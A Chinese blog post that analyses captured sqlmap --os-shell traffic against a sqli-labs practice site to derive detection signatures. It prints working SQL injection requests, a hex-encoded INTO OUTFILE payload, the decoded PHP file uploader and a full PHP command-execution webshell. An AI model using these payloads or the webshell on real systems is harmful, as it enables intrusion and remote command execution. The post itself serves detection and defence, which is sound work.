入侵检测之sqlmap恶意流量分析

一颗小胡椒2021-08-23 17:05:30

0x01 –os-shell攻击流程

  1. 测试链接是否能够访问
  2. 判断操作系统版本
  3. 传递一个数组,尝试爆绝对路径
  4. 指定上传路径
  5. 使用lines terminated by 写入一个php文件,该php文件可以进行文件上传
  6. 尝试找到上传的文件的访问路径;直到找到正确的路径
  7. 通过上传的临时文件,尝试上传另外一个php文件, 该文件可以进行命令执行
  8. 尝试进行命令执行 echo command execution test
  9. 直接输入对应的命令即可
  10. 退出–os-shell后删除命令马

0x02 抓包分析

首先就是测试链接是否能够访问

然后判断操作系统

GET /Less-1/?id=-8168%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x71786a7171%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627671%29%2CNULL--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close

这里把参数值解码后,是这样一段SQL语句

-8168 UNION ALL SELECT NULL,CONCAT(0x71786a7171,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x7170627671),NULL-- -

接着传递一个数组,尝试爆绝对路径,这都是老版本的办法了,现在行不通,这个可以当作一个行为特征来标记一下

GET /Less-1/?id[]=1 HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close

等我们指定完上传路径后, sqlmap会使用lines terminated by 写入一个php文件, 该php文件可以进行文件上传, 它先传一个小马, 再传一个命令执行马, 其实是留了一手的, 避免命令马直接被杀掉

GET /Less-1/?id=-9439%20OR%201550%3D1550%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27E%3A%2FServer%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuobmp.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d453a5c5c5365727665725c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close

解码hex加密的内容, 是这样的

// 判断是否有一个upload的值传过来if (isset($_REQUEST["upload"])){    // 将uploadDir赋值给$dir, 也就是我们传递的绝对路径    $dir = $_REQUEST["uploadDir"];    // 判断php版本是否小于4.1.0    if (phpversion() < '4.1.0')    {        $file = $HTTP_POST_FILES["file"]["name"];        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    else    {        // 取文件名赋值给$file        $file = $_FILES["file"]["name"];        // 完成上传动作        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    // 给权限    @chmod($dir . "/" . $file, 0755);    echo "File uploaded";}else{    echo ""PHP_SELF"] . " method=POST enctype=multipart/form-data>sqlmap file uploader
to directory:  ";}

然后尝试找到上传的文件的访问路径;直到找到正确的路径,每次都会里面跳一级

这一步就是上传真正的命令马

分析一下这段代码

// 将传递的cmd的值赋值给$c$c = $_REQUEST["cmd"];// 设置超时时间@set_time_limit(0);// 设置客户端断开连接时是否中断脚本的执行@ignore_user_abort(1);// 设置php.ini中max_execution_time的值为0@ini_set("max_execution_time", 0);// 获取禁用函数$z = @ini_get("disable_functions");if (!empty($z)){    // 如果$z不为空, 那么就将$z中的, 替换为,  并且重组成一个数组, 且去掉两端的空白字符    $z = preg_replace("/[, ]+/", ',', $z);    $z = explode(',', $z);    $z = array_map("trim", $z);}else{    $z = array();}// 将命令与 2>&1进行拼接$c = $c . " 2>&1";function f($n){    // 调用$z    global $z;    // 判断参数$n是否不在数组$z中    return is_callable($n) and !in_array($n, $z);}/* 大致干了三件事 * 1.打开缓冲区 * 2.执行命令并将结果赋值给$w * 3.关闭缓冲区并*/if (f("system")){    ob_start();    system($c);    $w = ob_get_clean();}elseif (f("proc_open")){    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);    $w = NULL;    while (!feof($t[1]))    {        $w .= fread($t[1], 512);    }    @proc_close($y);}elseif (f("shell_exec")){    $w = shell_exec($c);}elseif (f("passthru")){    ob_start();    passthru($c);    $w = ob_get_clean();}elseif (f("popen")){    $x = popen($c, r);    $w = NULL;    if (is_resource($x))    {        while (!feof($x))        {            $w .= fread($x, 512);        }    }    @pclose($x);}elseif (f("exec")){    $w = array();    exec($c, $w);    $w = join(chr(10), $w) . chr(10);}else{    $w = 0;}// 输出命令echo "
$w
";?>

然后, 尝试进行命令执行 echo command execution test

最后, 攻击者退出–os-shell后, sqlmap会进行一个简单的清理痕迹的操作, 删掉执行命令的文件

GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close

解码

GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close

0x03 流量特征分析

一、静态分析

首先最最最特征的肯定就是User-Agent了, 这里如果没有做伪装, 基本上就是sqlmap的流量, 直接拦截掉就好了

接着就是代码的静态特征, sqlmap首先上传的上传马, 会有一个相当明显的特征

    echo "    <form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data>      <input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploaderb><br>       <input name=file type=file><br>to directory:       <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\>      <input type=submit name=upload value=upload>    form>";

这是一段上传的from表单, 特征非常明显, 基本上文件内容存在这一段代码, 就可以认定为是sqlmap上传的后门, 直接杀掉就好了

接着看一下命令执行的小马, 这个特征更加明显, 同一个文件中, 竟然出现了所有的命令执行函数, 不说出现所有的, 正常文件出现一个都不应该, 直接杀掉

if (f("system")){    ob_start();    system($c);    $w = ob_get_clean();}elseif (f("proc_open")){    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);    $w = NULL;    while (!feof($t[1]))    {        $w .= fread($t[1], 512);    }    @proc_close($y);}elseif (f("shell_exec")){    $w = shell_exec($c);}elseif (f("passthru")){    ob_start();    passthru($c);    $w = ob_get_clean();}elseif (f("popen")){    $x = popen($c, r);    $w = NULL;    if (is_resource($x))    {        while (!feof($x)) {            $w .= fread($x, 512);        }    }    @pclose($x);}elseif (f("exec")){    $w = array();    exec($c, $w);    $w = join(chr(10), $w) . chr(10);}

二、动态分析

首先可以对数据库的行为做限制, 因为–os-shell主要还是在于执行into outfile()函数, 而执行这个函数有三个必要条件:

  1. 当前数据库用户为root权限
  2. 数据库中source_file_priv 的值不能为null
  3. 可以使用单双引号

这三点缺一不可, 如果不幸的被写入了shell, 那么可以先参照静态分析去过滤一下, 其次就是对于行为的过滤, 当sqlmap成功写入命令马的时候, 会执行一条测试语句

GET /Less-2/tmpbvnbm.php?cmd=echo%20command%20execution%20test HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close

如果攻击者没有进行过流量分析, 是很难发现这个小细节的, 所以当任何刚生成的文件执行echo command execution test时, 就可以认定这是sqlmap的命令马, 杀之即可

再就是sqlmap会判断当前的操作系统, 而判断操作系统就会使用 @@version_compile_os

这个函数, 所以当流量中包含这个函数的请求, 那就是sqlmao发出的请求, 直接拦截掉就好了

最后就是删除文件的操作了, 一般被删除的命令马跟上传马在同级目录下, 且文件名默认都以tmpxxx.php命名, 溯源起来还是比较方便的,

GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close

外加一个传数组爆绝对路径的操作, 数组的值默认为1

0x04 sqlmap特征总结

静态特征

  - user-agent特征  - from表单特征  - 命令执行函数特征

动态特征

  - 数组报错特征  - @@version_compile_os特征  - 测试命令执行语句特征  - 调用系统命令特征
sqlmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
sqlmap脚本tamper使用
2022-06-25 07:07:48
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。如何判断使用哪个脚本最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。空格、等于号都没有过滤,成功报错。以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
前言21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。好,然后就是脚本的完整代码#!
之前有看到goby反制和松鼠A师傅蚁剑反制的文章,再想到之前写过sqlmap的shell免杀,觉得思路其实差不多,就写一篇sqlmap的反制吧。
sqlmap --os-shell原理
2021-09-24 07:04:41
前言当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
一些重要的SQLMap命令
2023-05-04 08:55:08
从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。我们必须给SQLMap提供有效的cookie才能对登录页面的POST请求进行扫描。不过别总是保持一个较高的值,因为可能会影响结果的准确性。默认情况下值为1,最高可以设置为3。值为3时,就是最大值,包含了一些严重的SQL查询。级别指定要执行的检查或payload的数量。
Par0:楔子你站在桥上看风景,看风景的人在楼上看你,明月装饰了你的窗子,你装饰了别人的梦。如此形式的语句执行,实际上都是在shell中,执行bash命令。但是,bash命令中,一些使用几率较小的特性,很多安全测试人员可能都不求甚解。
记一次SQLmap实战
2021-09-28 07:41:13
简介:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目
干货 | sqlmap 小技巧
2023-03-03 15:38:04
前言在日常使用 sqlmap 中,可能我们会遇到明明手工注入能发现注入点,但是 sqlmap 发两个包就不再往下跑了,这是怎么回事呢?案例这是一个注入点,但是 sqlmap 只发了两个包根据上面的提示,sqlmap 应该是因为响应包状态码为?状态码正常访问的响应:数据格式异常:这个时候最简单的办法,当然是通过 burp 把响应包改掉了,我们只要在 burp 新建一条自动匹配修改规则即可,让 burp 自动把?
为了安全起见,目标网站统一使用redacted.org进行了替代。
测试链接是否能够访问 判断操作系统版本 传递一个数组,尝试爆绝对路径 指定上传路径
一颗小胡椒
暂无描述